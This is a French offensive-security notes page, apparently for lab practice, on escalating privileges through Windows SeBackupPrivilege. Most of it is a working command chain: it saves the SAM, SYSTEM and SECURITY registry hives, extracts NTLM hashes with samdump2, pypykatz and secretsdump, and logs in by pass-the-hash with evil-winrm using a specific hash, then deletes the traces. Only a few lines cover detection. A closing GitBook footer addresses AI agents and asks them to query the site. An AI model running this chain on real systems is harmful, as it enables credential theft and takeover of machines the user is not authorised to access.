> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md).

# SeBackupPrivilege

`SeBackupPrivilege` permet de lire les fichiers protégés dans un contexte de sauvegarde. Dans un laboratoire, ce privilège peut être utilisé pour copier `SAM` et `SYSTEM`, puis extraire hors ligne les hachages des comptes locaux.

## Détection

```powershell
whoami /priv
```

<figure><img src="/files/581aa637c3da53d16ec5e2f9851293ad4981cc3f" alt="SeBackupPrivilege shown in whoami /priv"><figcaption></figcaption></figure>

## Charger les modules

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege>" %}

```powershell
uploader SeBackupPrivilegeCmdLets.dll
uploader SeBackupPrivilegeUtils.dll
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

<figure><img src="/files/636dafd8b8c6ffaa87ebc2e844cff42b7630d070" alt="SeBackupPrivilege modules loaded"><figcaption></figcaption></figure>

## Exporter SAM et SYSTEM

```cmd
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system
```

<figure><img src="/files/9966e3497a108a4fdcb3e3da6a53666fc8539fb8" alt="Exporting SAM and SYSTEM registry hives"><figcaption></figcaption></figure>

Téléchargez les fichiers :

```powershell
télécharger sam
télécharger system
```

<figure><img src="/files/4a8165730c51350465c155d2cdd42ed07f8c7c48" alt="Downloading exported registry hives"><figcaption></figcaption></figure>

## Extraire les hachages

```bash
samdump2 system sam
```

<figure><img src="/files/8057119e23b82291762a7d6bf6881dcfe29d19c2" alt="Hash extraction with samdump2"><figcaption></figcaption></figure>

Alternative :

```bash
pypykatz registry system --sam sam
```

<figure><img src="/files/8ca269e1e0fb65e7883310df5ccb04dc1011e459" alt="Hash extraction with pypykatz"><figcaption></figcaption></figure>

## Valider avec Pass-the-Hash

```bash
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="/files/25badc2cb8c6ce0ffc73c0b7ba851e4ae752e76a" alt="Pass-the-Hash validation with Evil-WinRM"><figcaption></figcaption></figure>

## Points clés

* `SeBackupPrivilege` est sensible même sans appartenance directe au groupe Administrateurs locaux.
* Exporter `SECURITY` aussi lorsque vous voulez des secrets LSA ou des données de domaine mises en cache.
* Surveillez les exportations des ruches de registre et l’accès aux fichiers système protégés.

## Extraction avec Impacket

Impacket peut analyser les ruches enregistrées hors ligne :

```cmd
reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save
reg save HKLM\SECURITY C:\Windows\Temp\security.save
```

```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```

## Nettoyage

```cmd
del C:\Windows\Temp\sam.save
del C:\Windows\Temp\system.save
del C:\Windows\Temp\security.save
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
